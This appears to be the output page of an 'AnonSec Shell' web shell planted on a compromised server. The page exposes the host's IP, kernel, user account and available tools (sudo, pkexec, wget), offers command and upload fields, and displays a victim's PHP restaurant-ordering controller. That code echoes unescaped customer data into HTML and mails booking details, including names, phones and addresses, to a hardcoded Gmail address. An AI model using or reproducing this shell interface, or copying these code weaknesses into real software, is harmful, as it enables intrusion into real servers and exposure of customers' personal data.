AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/restaurantorders.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class RestaurantOrders extends MY_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->library('form_validation');
     $this->load->library('javascript'); 
     $this->load->library('Ajax_pagination');
     $this->perPage = ROW_PER_PAGE;
     $this->load->model('menumanagement_model');
     $this->load->model('frontend_model');
     $session_data = $this->session->userdata('logged_in');
     //if(empty($session_data)) { redirect('superadmin', 'refresh'); }    
     if($this->session->userdata('user_language'))
      {
        $language = $this->session->userdata('user_language');
      }
      else
      {
        $language = $this->config->item("language");
      }
      $data['user_language'] =  $language;
      $this->lang->load('restaurantAdmin', $language);
  }

  function index( $offset = 0 )
  {
   if ($this->input->server('REQUEST_METHOD') == 'POST')
      {
        if($this->input->post('ActionTab')=='SiteInfo')
        {
          $this->websettings_site();
        }

        if($this->input->post('ActionTab')=='SiteContact')
        {
          $this->websettings_contact();
        } 

        if($this->input->post('ActionTab')=='SiteVAT')
        {
          $this->websettings_VAT();
        } 
        if($this->input->post('ActionTab')=='SiteOffline')
        {
          $this->websettings_Offline();
        } 
        if($this->input->post('ActionTab')=='SiteTwilio')
        {
          $this->websettings_Twilio();
        } 
        if($this->input->post('ActionTab')=='SiteDocusign')
        {
          $this->websettings_DocuSign();
        } 


      }else
      {
        $SearchBy = '';
        $PerPage = $this->input->post('Per_Page');
        if(!$PerPage){
          $PerPage = $this->perPage;
        }else{
          $PerPage = $PerPage;
        }
        //total rows count
        $totalRec = count($this->menumanagement_model->get_order_list());
        //pagination configuration
        $config['target']      = '#postList';
        $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataOrder/'.$SearchBy;
        $config['total_rows']  = $totalRec;
        $config['per_page']    = $PerPage;
        $this->ajax_pagination->initialize($config);
        //get the posts data
        $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $SearchBy);
      
        $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();
        $data['title']="Order List";  
        $query['SiteTab'] ='order_list';
        $data['page']="order_list";  
        $this->load->view('superadmin/header',$data);
        ///$this->load->view('superadmin/main-sidebar');
        $this->load->view('superadmin/order_list',$query);
        $this->load->view('superadmin/footer');
      }
  }


  function ajaxPaginationDataOrder(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action,$action2));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataOrder';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Cuisine";  
    $data['page']="order_list";
    $data['perPageCount'] = $page;  
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/order_list_ajax', $data, false);
  }

  function OrderDetails($order_id=0)
  {
    $topping ='';
    $orderid = $this->input->post('order_id');
    $order_details = $this->menumanagement_model->get_order_details($orderid);

    $order_kart = $this->menumanagement_model->get_order_kart($orderid);

    if(is_array($order_details) && sizeof($order_details)>0)
    {

      if($order_details['tip']!='')
        {
          $tips = $order_details['tip'];
        }else{
          $tips = 0;
        }
      if ($order_details['discountvalue'] > 0) {
        $discountvalue = '<tr class="odd">
                            <td></td>
                            <td></td>
                            <td></td>
                            <td></td>
                            <td>'.$this->lang->line('Discount').': </td>
                            <td><b>- '.SITENAME_CURRENCY.number_format($order_details['discountvalue'], 2, '.', '').'</b></td>
                          </tr>';

      }
      else if ($order_details['offervalue'] > 0 && $order_details['offervalue'] != '') {
        $discountvalue = '<tr class="odd">
                            <td></td>
                            <td></td>
                            <td></td>
                            <td></td>
                            <td>'.$this->lang->line('CouponDiscount').': </td>
                            <td><b>- '.SITENAME_CURRENCY.number_format($order_details['offervalue'], 2, '.', '').'</b></td>
                          </tr>';

      }
      else {
        $discountvalue = '';
      }
      $delivery_charged = $order_details['delivery_charged'];
      $deliverystreet = '';

      if($order_details['deliverystreet']!='' || $order_details['deliverystreet']!='undefined')
      {
        $deliverystreet =$order_details['deliverystreet'];
      }

      $totalval = $order_details['ordersubtotal'];
      $Total = $totalval + $delivery_charged;

      if($order_details['driverid']>0)
        {
          $drivername = $order_details['drivername'];
        }else{
          $drivername = $this->lang->line('Not_yet_assigned');
        }

    /*if ($order_details['customer_signature'] != '' && file_exists(base_url().CUSTOMER_SIGNATURE_IMAGE_THUMBS.$order_details['customer_signature'])) {
      $customer_signature = '<div class="detail-instruction"><b>Customer Signature : </b> <img style="width: 50px;" src="'.base_url().CUSTOMER_SIGNATURE_IMAGE_THUMBS.$order_details['customer_signature'].'"></img> </div>';
    }*/
    if ($order_details['customer_signature'] != '') {
      $customer_signature = '<div class="detail-instruction"><b>'.$this->lang->line('CustomerSignature').' : </b> <img style="width: 50px;" src="'.base_url().CUSTOMER_SIGNATURE_IMAGE_THUMBS.$order_details['customer_signature'].'"></img> &nbsp;&nbsp;<a download href="'.base_url().CUSTOMER_SIGNATURE_IMAGE_THUMBS.$order_details['customer_signature'].'" target="_blank"><button class="btn btn-outline green btn-sm opo opened btn-circle mcfr active pad2_10">'.$this->lang->line('Download').'</button></a></div>';
    }
    else {
      //$customer_signature = '<div class="detail-instruction"><b>Customer Signature : </b> Not signed. </div>';
      $customer_signature = '';
    }

    $data_view='
    <div class="testPopupBottom-backLayer"></div>
    <div class="col-md-8 col-sm-12 col-xs-12 pull-center positionAbsolute">
      <h3>'.$this->lang->line('OrderDetails').'<button onclick="closeme()" class="btn btn-danger btn-circle pull-right hideMe">'.$this->lang->line('Close').'</button></h3>
      <div class="modal-body">
        <div class="row driver-listTop">
          <div class="col-md-4 col-sm-3 oredrId"><b> '.$order_details['ordergenerateid'].'</b></div>
          <div class="col-md-8 col-sm-9">
            <div class="row">
              <p class="col-md-4 col-sm-4"><i class="fa fa-calendar"></i> '.date('m/d/Y', strtotime($order_details['orderdate'])).'</p>
              <p class="col-md-4 col-sm-4">&nbsp;</p>
              <p class="col-md-4 col-sm-4"><b>'.$this->lang->line('Total_Price').':&nbsp;&nbsp;'.SITENAME_CURRENCY.$order_details['ordertotalprice'].'</b></p>
            </div>
          </div>
        </div>
        <div class="row driver-listBottom">
          <div class="col-md-12 address-section">
              <p class="driver-address col-md-4 no-padding"><img src="../assets/img/homeleft.png" title="leftimg" alt="leftimg"> '.$deliverystreet.'</p>
              <p class="user-status col-md-8">
                <span class="statusbutton" id="order_view_status_1183">Order Status:&nbsp;&nbsp;'.$order_details['status'].'</span>
              </p>
          </div>
        </div>
        <ul class="orderaddress row">
          <li class="col-md-4 col-sm-6"><span class="addressimg"><i class="fa fa-user"></i> </span> '.$order_details['customername'].'</li>
          <li class="col-md-4 col-sm-6"><span class="addressimg"><i class="fa fa-envelope"></i> </span> '.$order_details['customeremail'].'</li>
          <li class="col-md-4 col-sm-6"><span class="addressimg"><i class="fa fa-phone"></i></span> '.$order_details['customercellphone'].'</li>
          
          <li class="col-md-4 col-sm-6">'.$this->lang->line('Payment_Type').' : '.$order_details['payment_type'].'</li>
          <li class="col-md-4 col-sm-6">'.$this->lang->line('PaymentStatus').' : '.$order_details['paypal_status'].'</li>
        </ul>
        <div class="detail-instruction"><b>'.$this->lang->line('Restaurant').' : </b> '.$order_details['restaurant_name'].' </div>
        <div class="detail-instruction"><b>'.$this->lang->line('Instruction').' : </b> '.$order_details['instructions'].' </div>
        
        <div class="table-responsive">
          <table class="table table-hover table-bordered">
            <thead>
              <tr>
                <th>'.$this->lang->line('SNo').'</th>
                <th>'.$this->lang->line('Item_Name').'</th>
                <th>'.$this->lang->line('Item_Instruction').'</th>
                <th>'.$this->lang->line('Quantity').'</th>
                <th>'.$this->lang->line('Price').'</th>
                <th>'.$this->lang->line('Total').'</th>
              </tr>
            </thead>
            <tbody>';
            // <li class="col-md-4 col-sm-6"><span class="addressimg"><i class="fa fa-car"></i></span> Driver Name : '.$drivername.'</li>
            if(is_array($order_kart) && sizeof($order_kart)>0){ 

              $slno=0;
                foreach($order_kart as $row) {  
                  if($row->addonsname != ''){
                    $topping = '<br> <b>'.$this->lang->line('Topping').': </b>'.$row->addonsname;
                    }

                  $slno = $slno+1;
              $data_view .=' <tr class="even">
                <td>'.$slno.'</td>
                <td>'.$row->menuname.' '.$topping.'</td>
                <td>'.$row->specialinstruction.'</td>
                <td>'.$row->quantity.'<br></td>
                <td>'.SITENAME_CURRENCY.$row->menuprice.'</td>
                <td>'.SITENAME_CURRENCY.$row->tot_menuprice.'</td>
              </tr>';
               }  }
            $data_view .='</tbody>
            <tfoot>
              <tr class="even">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td><b>'.$this->lang->line('Item_Price').' : </b></td>
                <td><b>'.SITENAME_CURRENCY.$order_details['menuprice_total'].'</b></td>
              </tr>
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td>'.$this->lang->line('Delivery_Charge').' : </td>
                <td>'.SITENAME_CURRENCY.number_format($delivery_charged, 2, '.', '').'</td>
              </tr>
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td>'.$this->lang->line('Tax').' : </td>
                <td>'.SITENAME_CURRENCY.$order_details['taxvalue'].'</td>
              </tr>
              
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td><b>'.$this->lang->line('Sub_Total').' : </b></td>
                <td><b>'.SITENAME_CURRENCY.number_format($order_details['ordersubtotal'], 2, '.', '').'</b></td>
              </tr>
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td>'.$this->lang->line('Tips').' : </td>
                <td>'.SITENAME_CURRENCY.number_format($tips, 2, '.', '').'</td>
              </tr>
              '.$discountvalue.'
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td>Reward Point Used : </td>
                <td>- '.SITENAME_CURRENCY.number_format($order_details['point_amount'], 2, '.', '').'</td>
              </tr>
              <tr class="odd">
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td><b>'.$this->lang->line('Total').' : </b></td>
                <td><b>'.SITENAME_CURRENCY.number_format($order_details['ordertotalprice'], 2, '.', '').'</b></td>
              </tr>
            </tfoot>
          </table>
        </div>
        <div class="driver-list-detail-button clearfix">
          '.$customer_signature.'
          <a href="javascript:void(0);" onclick="do_pdf('.$orderid.');" style="margin-right:20px;"><i class="fa fa-print"></i> '.$this->lang->line('Print').'</a>
            <a href="javascript:void(0);" onclick="do_pdf('.$orderid.');"><i class="fa fa-file-pdf-o"></i> '.$this->lang->line('Download_PDF').'</a>
        </div>
      </div>
    </div>';


    }

    echo $data_view;

  }

function refundorders()
{
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action = '', $action2 =0, $action3 ='RR'));
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataRefundOrder/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $action = '5', $action2 =0,$action3='RR');
  
    $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();
    $data['title']="Order List";  
    $query['SiteTab'] ='order_list';
    $data['page']="order_list";  
    $this->load->view('superadmin/header',$data);
    ///$this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/order_list_refund',$query);
    $this->load->view('superadmin/footer');
}


function ajaxPaginationDataRefundOrder(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action,$action2,$action3 ='RR'));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataRefundOrder';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2,$action3 ='RR');
    $data['title']="Cuisine";  
    $data['page']="order_list";  
    $data['perPageCount'] = $page; 
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/order_list_ajax', $data, false);
  }

  function assignCaterer() {
    // print_r($this->input->post());
    $order_id = $this->input->post('order_id');
    $assigned_caterer = $this->input->post('assigned_caterer');
    $this->db->trans_start();

    $data_up = array('assigned_caterer' => $assigned_caterer);
    $this->db->where('order_id', $order_id);
    $this->db->update('rt_order_caterer', $data_up);

    $this->db->select('*');
    $this->db->from('rt_order_caterer');
    $this->db->where('order_id', $order_id);
    $query = $this->db->get();
    $dbData = $query->row_array();

    $this->db->select('restaurant_name, restaurant_contact_email');
    $this->db->from('rt_restaurant');
    $this->db->where('restaurant_id', $assigned_caterer);
    $query = $this->db->get();
    $restData = $query->row_array();

    $this->db->trans_complete();
    // print_r($restData); exit();

    $choose_party_type = $dbData['choose_party_type'];
    $choose_food = $dbData['choose_food'];
    $choose_delivery_method = $dbData['choose_delivery_method'];
    $favorite_restaurant = $dbData['favorite_restaurant'];
    $booking_number_of_attendees_over12 = $dbData['booking_number_of_attendees_over12'];
    $booking_number_of_attendees_under12 = $dbData['booking_number_of_attendees_under12'];
    $booking_date = $dbData['booking_date'];
    $booking_start_time = $dbData['booking_start_time'];
    $booking_end_time = $dbData['booking_end_time'];
    $booking_required_delivery_time = $dbData['booking_required_delivery_time'];
    $booking_required_pick_up_chosen = $dbData['booking_required_pick_up_chosen'];
    $booking_location_name_address = $dbData['booking_location_name_address'];
    $booking_party_theme = $dbData['booking_party_theme'];
    $booking_special_request = $dbData['booking_special_request'];

    // Private party
    $booking_name = $dbData['booking_name'];
    $booking_website_address = $dbData['booking_website_address'];
    $booking_home_address = $dbData['booking_home_address'];
    $booking_telephone_number = $dbData['booking_telephone_number'];
    $booking_mobile_number = $dbData['booking_mobile_number'];
    $booking_email_address = $dbData['booking_email_address'];
    $booking_best_time = $dbData['booking_best_time'];
    $private_event_type = $dbData['private_event_type'];
    $private_event_type_other = $dbData['private_event_type_other'];
    $private_additional_service = $dbData['private_additional_service'];

    // Business party
    $booking_title = $dbData['booking_title'];
    $booking_ordering_person = $dbData['booking_ordering_person'];
    $booking_company_name = $dbData['booking_company_name'];
    $booking_company_tax_id = $dbData['booking_company_tax_id'];
    $booking_company_address = $dbData['booking_company_address'];
    $booking_company_number = $dbData['booking_company_number'];
    $booking_company_owner_name = $dbData['booking_company_owner_name'];
    $booking_company_owner_number = $dbData['booking_company_owner_number'];
    $booking_company_website_address = $dbData['booking_company_website_address'];
    $booking_company_email_address = $dbData['booking_company_email_address'];
    $booking_number_ordering_person = $dbData['booking_number_ordering_person'];
    $booking_best_time_to_reach = $dbData['booking_best_time_to_reach'];
    $booking_email_address_ordering_person = $dbData['booking_email_address_ordering_person'];
    $business_event_type = $dbData['business_event_type'];
    $business_event_type_other = $dbData['business_event_type_other'];
    $business_additional_service = $dbData['business_additional_service'];
    // Request from app
    $requestType = 'application';

    $myData = array();
    if ($choose_party_type == 'private') {
      $myData['Party Type: '] = 'Private Party';
      if ($booking_name !== '') {
        $myData['Booking Name'] = $booking_name;
      }
      if ($booking_website_address !== '') {
        $myData['Website Address'] = $booking_website_address;
      }
      if ($booking_home_address !== '') {
        $myData['Home Address'] = $booking_home_address;
      }
      if ($booking_telephone_number !== '') {
        $myData['Telephone No.'] = $booking_telephone_number;
      }
      if ($booking_mobile_number !== '') {
        $myData['Mobile No.'] = $booking_mobile_number;
      }
      if ($booking_email_address !== '') {
        $myData['Email Address'] = $booking_email_address;
      }
      if ($booking_best_time !== '') {
        $myData['Best Time to Reach'] = date('h:i A', strtotime($booking_best_time));
        $booking_best_time = date('h:i A', strtotime($booking_best_time));
      }
      // if ($ !== '') {
      //   $myData[''] = $;
      // }
    }
    else if ($choose_party_type == 'business') {
      $myData['Party Type: '] = 'Corporate / Business Party Party';
      if ($booking_ordering_person !== '') {
        $myData['Ordering Persone'] = $booking_ordering_person;
      }
      if ($booking_title !== '') {
        $myData['Title'] = $booking_title;
      }
      if ($booking_company_name !== '') {
        $myData['Comapny Name'] = $booking_company_name;
      }
      if ($booking_company_tax_id !== '') {
        $myData['Tax ID'] = $booking_company_tax_id;
      }
      if ($booking_company_address !== '') {
        $myData['Company Address'] = $booking_company_address;
      }
      if ($booking_company_number !== '') {
        $myData['Company Phone No.'] = $booking_company_number;
      }
      if ($booking_company_owner_name !== '') {
        $myData['Company Owner / CEO'] = $booking_company_owner_name;
      }
      if ($booking_company_owner_number !== '') {
        $myData['Company Owner / CEO Mobile No.'] = $booking_company_owner_number;
      }
      if ($booking_company_website_address !== '') {
        $myData['Website Address'] = $booking_company_website_address;
      }
      if ($booking_company_email_address !== '') {
        $myData['Company Owner / CEO Email Address'] = $booking_company_email_address;
      }
      if ($booking_number_ordering_person !== '') {
        $myData['Order Persone Mobile No.'] = $booking_number_ordering_person;
      }
      if ($booking_best_time_to_reach !== '') {
        $myData['Best Time to Reach'] = date('h:i A', strtotime($booking_best_time_to_reach));
        $booking_best_time_to_reach = date('h:i A', strtotime($booking_best_time_to_reach));
      }
      if ($booking_email_address_ordering_person !== '') {
        $myData['Order Persone Email Address'] = $booking_email_address_ordering_person;
      }
      // if ($ !== '') {
      //   $myData[''] = $;
      // }
    }
    if ($choose_food !== '') {
      $myData['Food Type'] = $choose_food;
    }
    if ($choose_delivery_method !== '') {
      $myData['Delivery Method'] = ucfirst($choose_delivery_method);
    }
    if ($favorite_restaurant !== '') {
      $myData['Favorite Restaurant'] = $favorite_restaurant;
    }
    if ($booking_number_of_attendees_over12 !== '') {
      $myData['Attendees (Over 12 Yr. Age)'] = $booking_number_of_attendees_over12;
    }
    if ($booking_number_of_attendees_under12 !== '') {
      $myData['Attendees (Under 12 Yr. Age)'] = $booking_number_of_attendees_under12;
    }
    if ($booking_date !== '') {
      $myData['Date'] = date('m/d/Y', strtotime($booking_date));
      $booking_date = date('m/d/Y', strtotime($booking_date));
    }
    if ($booking_start_time !== '') {
      $myData['Starting Time'] = date('h:i A', strtotime($booking_start_time));
      $booking_start_time = date('h:i A', strtotime($booking_start_time));
    }
    if ($booking_end_time !== '') {
      $myData['End Time'] = date('h:i A', strtotime($booking_end_time));
      $booking_end_time = date('h:i A', strtotime($booking_end_time));
    }
    if ($booking_required_delivery_time !== '') {
      $myData['Delivery Time'] = date('h:i A', strtotime($booking_required_delivery_time));
      $booking_required_delivery_time = date('h:i A', strtotime($booking_required_delivery_time));
      $booking_required_pick_up_chosen = '';
    }
    if ($booking_required_pick_up_chosen !== '' && $booking_required_delivery_time === '') {
      $myData['Pick-Up Time'] = date('h:i A', strtotime($booking_required_pick_up_chosen));
      $booking_required_pick_up_chosen = date('h:i A', strtotime($booking_required_pick_up_chosen));
    }
    if ($booking_location_name_address !== '') {
      $myData['Location Name / Address'] = $booking_location_name_address;
    }
    if ($booking_party_theme !== '') {
      $myData['Party Theme'] = $booking_party_theme;
    }
    if ($booking_special_request !== '') {
      $myData['Special Request'] = $booking_special_request;
    }
    // if ($ !== '') {
    //   $myData[''] = $;
    // }
    if ($choose_party_type == 'private') {
      if ($private_event_type !== '') {
        $myData['Event / Party Type'] = $private_event_type;
      }
      if ($private_event_type_other !== '' && strtolower($private_event_type) === 'other') {
        $myData['Event / Party Type'] = $private_event_type. '('.$private_event_type_other.')';
      }
      if (is_array($private_additional_service) && sizeof($private_additional_service) > 0 && $requestType !== 'application') {
        $myData['Additional Services'] = implode(', ', array_filter($private_additional_service));
        $private_additional_service = implode(', ', array_filter($private_additional_service));
      }
      else {
        $myData['Additional Services'] = $private_additional_service;
      }
    }
    else if ($choose_party_type == 'business') {
      if ($business_event_type !== '') {
        $myData['Event / Party Type'] = $business_event_type;
      }
      if ($business_event_type_other !== '' && strtolower($business_event_type) === 'other') {
        $myData['Event / Party Type'] = $business_event_type. '('.$business_event_type_other.')';
      }
      if (is_array($business_additional_service) && sizeof($business_additional_service) > 0 && $requestType !== 'application') {
        $myData['Additional Services'] = implode(', ', array_filter($business_additional_service));
        $business_additional_service = implode(', ', array_filter($business_additional_service));
      }
      else {
        $myData['Additional Services'] = $business_additional_service;
      }
    }

    // Setting up mail
    $booking_details = '';
    foreach ($myData as $key => $value) {
      $booking_details .= '<div style="font-family: arial, sans-serif;"><div style="width: 150px;float: left;">'.$key.'</div>:&nbsp;'.$value.'</div><div style="clear: both;"></div><br>';
    }

    $variables['sub_heading'] = 'This below booking request has been assigned to '.$restData['restaurant_name'];
    $variables['booking_details'] = $booking_details;
    $image_path = base_url().'assets/';
    $variables['image_path'] = $image_path;
    $variables['site_address'] = SITE_ADDRESS;
    $variables['sender_name'] = SITENAME;
    $variables['site_name'] = SITENAME;
    $template_name = 'bulk_parties_order';
    $mail_data = $this->frontend_model->getEmailTemplate($template_name);
    $mailcontent=htmlspecialchars_decode($mail_data->template);
    $subject = $mail_data->subject;
    $mailcontent_admin = $mailcontent;
    foreach($variables as $key => $value) {
      $mailcontent_admin = str_replace('{{'.$key.'}}', $value, $mailcontent_admin);
    }
    $this->send_my_mail(SITE_FEEDBACK_EMAIL, $subject, $mailcontent_admin);
    $variables['sub_heading'] = 'A new booking request has been assigned to your caterer. Please check.';
    $mailcontent_user = $mailcontent;
    foreach($variables as $key => $value) {
      $mailcontent_user = str_replace('{{'.$key.'}}', $value, $mailcontent_user);
    }
    $this->send_my_mail($restData['restaurant_contact_email'], $subject, $mailcontent_user);

    $this->send_my_mail('earthtechnology7@gmail.com', $subject, $mailcontent_admin);
    $this->send_my_mail('earthtechnology7@gmail.com', $subject, $mailcontent_user);
    // if ($choose_party_type == 'private') {
    //   $this->send_my_mail($booking_email_address, $subject, $mailcontent_user);
    // }
    // else if ($choose_party_type == 'business') {
    //   $this->send_my_mail($booking_company_email_address, $subject, $mailcontent_user);
    //   $this->send_my_mail($booking_email_address_ordering_person, $subject, $mailcontent_user);
    // }

  }

function catereringrequests()
{
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_catering_request_list($params = array(), $action = '', $action2 =0, $action3 ='RR'));
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataCateringRequest/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_catering_request_list(array('limit'=>$PerPage), $action = '5', $action2 =0,$action3='RR');
  
    $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();
    $data['title']="Table Booking Requests";
    $query['SiteTab'] ='order_list';
    $data['page']="catering_request";  
    $this->load->view('superadmin/header',$data);
    // $this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/catering_request_list',$query);
    $this->load->view('superadmin/footer');
}


function ajaxPaginationDataCateringRequest(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }
    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/
    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_catering_request_list($params = array(), $action,$action2,$action3 ='RR'));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataCateringRequest';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_catering_request_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2,$action3 ='RR');
    $data['title']="Cuisine";  
    $data['page']="order_list";  
    $data['perPageCount'] = $page; 
    /*** Remember what was the last page start ***/
    if ($this->input->post('pagination') != '') {
      $myPage = $this->input->post('page');
      $myAction = $this->input->post('action');
      $myPerPage = $this->input->post('per_page');
      $myAction2 = $this->input->post('action2');
      $paginationArray = array('page' => $myPage, 'action' => $myAction, 'per_page' => $myPerPage, 'action2' => $myAction2, 'page_name' => $data['page'], 'pagination' => $this->input->post('pagination'));
      if ($this->session->userdata('paginationArray')) {
        $this->session->unset_userdata('paginationArray');
      }
      $this->session->set_userdata('paginationArray', $paginationArray);
    }
    /*** Remember what was the last page end ***/
    $this->load->view('superadmin/catering_request_list_ajax', $data, false);
  }

function customerorders()
{
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action = '', $action2 =0, $action3 ='C'));
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataCustomerOrder/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $action = '', $action2 =0,$action3='C');
  
    $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();
    $data['title']="Order List";  
    $query['SiteTab'] ='order_list';
    $data['page']="order_list";  
    $this->load->view('superadmin/header',$data);
    ///$this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/order_list',$query);
    $this->load->view('superadmin/footer');
}


function ajaxPaginationDataCustomerOrder(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action,$action2,$action3 ='C'));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'restaurantorders/ajaxPaginationDataCustomerOrder';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
